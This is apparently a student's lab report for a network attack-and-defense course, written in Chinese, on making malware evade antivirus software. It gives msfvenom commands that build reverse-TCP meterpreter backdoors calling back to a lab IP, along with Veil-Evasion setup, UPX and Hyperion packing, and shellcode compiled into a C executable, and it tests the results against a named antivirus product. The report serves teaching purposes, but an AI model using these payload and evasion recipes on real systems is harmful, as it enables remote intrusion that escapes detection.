20192410 2021-2022-2 《網路與系統攻防技術》實驗三 免殺原理與實踐 實驗報告
20192410 2021-2022-2 《網路與系統攻防技術》實驗三 免殺原理與實踐 實驗報告
1.實驗內容
(1)正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧
- 正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
- veil,加殼工具
- 使用C + shellcode程式設計
(2)通過組合應用各種技術實現惡意程式碼免殺
(3)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
2.實驗過程
2.1使用msfvenom生成如jar之類的其他檔案
(1)生成exe檔案,並上傳網站進行檢測
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.129 PORT=5555 -f exe > 20192410backdoor.exe
(2)這次多編碼幾次試試(通過-i設定編碼次數)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.197.129 LPORT=5555 -f exe > 20192410backdoor3.exe
與之前並沒有什麼區別
(3)生成jar檔案
msfvenom -p java/shell_reverse_tcp LHOST=192.168.197.129 LPORT=5555 -f jar > 20192410jar.jar
(4)生成python檔案
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.197.129 PORT=2410 -f py > 20192410py.py
由於結果是0,讓我對python產生了好奇,便找了劉宇棟老師指導檔案中3.6.4同學案例中的python例子。
前面還算順利,經過上網查詢資料,唯一的問題最後也發現是python版本不對得到了解決,但是好不容易將py檔案轉換為exe檔案後痛心地發現不能執行。弄了兩三個小時也不知道是哪裡出了問題,或許是我太菜了,最後無奈放棄。
2.2使用veil,加殼工具
2.2.1 veil
(1)安裝veil
apt-get install veil-evasion
(2)使用veil
-
進入veil-evasion
use evasion
-
進入配置介面
use powershell/shellcode_inject/psexec_virtual.py c/meterpreter/rev_tcp.py
-
設定IP和埠
set LHOST 192.168.197.129 set LPORT 2410
-
生成檔案
generate
2.2.2 加殼工具
壓縮殼
upx 20192410backdoor.exe -o 20192410_upx.exe
2.3 C+Shellcode
(1)生成一段C語言shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.129 LPORT=2410 -f c
(2)將生成的shellcode放入新建的c語言檔案中
(3)對c檔案進行編譯,得到exe檔案
i686-w64-mingw32-g++ 20192410c.c -o 20192410c.exe
2.4通過組合應用各種技術實現惡意程式碼免殺
C+Shellcode程式設計+壓縮殼+加密殼
(1)將2.3中生成的exe檔案加殼
(2)加密殼
-
安裝Hyperion(這個好像是自帶的,但是我沒找到路徑,就自己安裝了)
-
將加殼後的檔案放入Hyperion-2.2資料夾,再進行加密殼操作
wine hyperion.exe -v 20192410c_upx.exe 20192410c_upx_hyp.exe
2.5用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
(1)首先修改虛擬機器為橋接模式
(2)生成.raw檔案
(3)將檔案傳給另一臺電腦(360防毒 版本:5.0.0.8170),進行反彈回連
3.問題及解決方案
- 問題1:安裝veil過程中產生報錯
- 問題1解決方案:有許多方面的問題,例如需要先安裝wine32,需要安裝python,但是最搞心態的是教學樓網不行,用宿舍網雖然也不怎麼快,但好歹能安裝成功。
- 問題2:使用加密殼失敗。
- 問題2解決方案:需要修改Hyperion-2.2中的makefile檔案,將第一行改為 CC = i686-w64-mingw32-gcc後執行make進行編譯
4.回答問題
(1)殺軟是如何檢測出惡意程式碼的?
通過特徵碼或惡意行為檢測。
(2)免殺是做什麼?
通過一些操作使得惡意程式碼不會被防毒軟體檢測到。
(3)免殺的基本方法有哪些?
修改特徵碼、花指令免殺、加殼免殺、記憶體免殺、二次編譯、分離免殺、資源修改
5.學習感悟、思考等
本次實驗過程非常痛苦,雖然學到了許多“免殺”操作,但是生成的惡意程式碼放到網站裡還是能被很多檢測出來的,放到Windows裡全都不可能在我的Windows下活過一秒。做到最後感覺不是在找更好的惡意程式碼而是在找更弱的防毒軟體。而且我發現雖然有的同學和我一樣是Windows安全中心,但是在他們電腦上檢測不出來的惡意程式我的電腦能檢測出來,表示很是無語。不過生成的python檔案檢測結果竟然是0,而且傳入windows後將其轉為exe檔案後也能在Windows下存活,但是不能並不能執行...... 不過總歸是對後門免殺有了一定了解。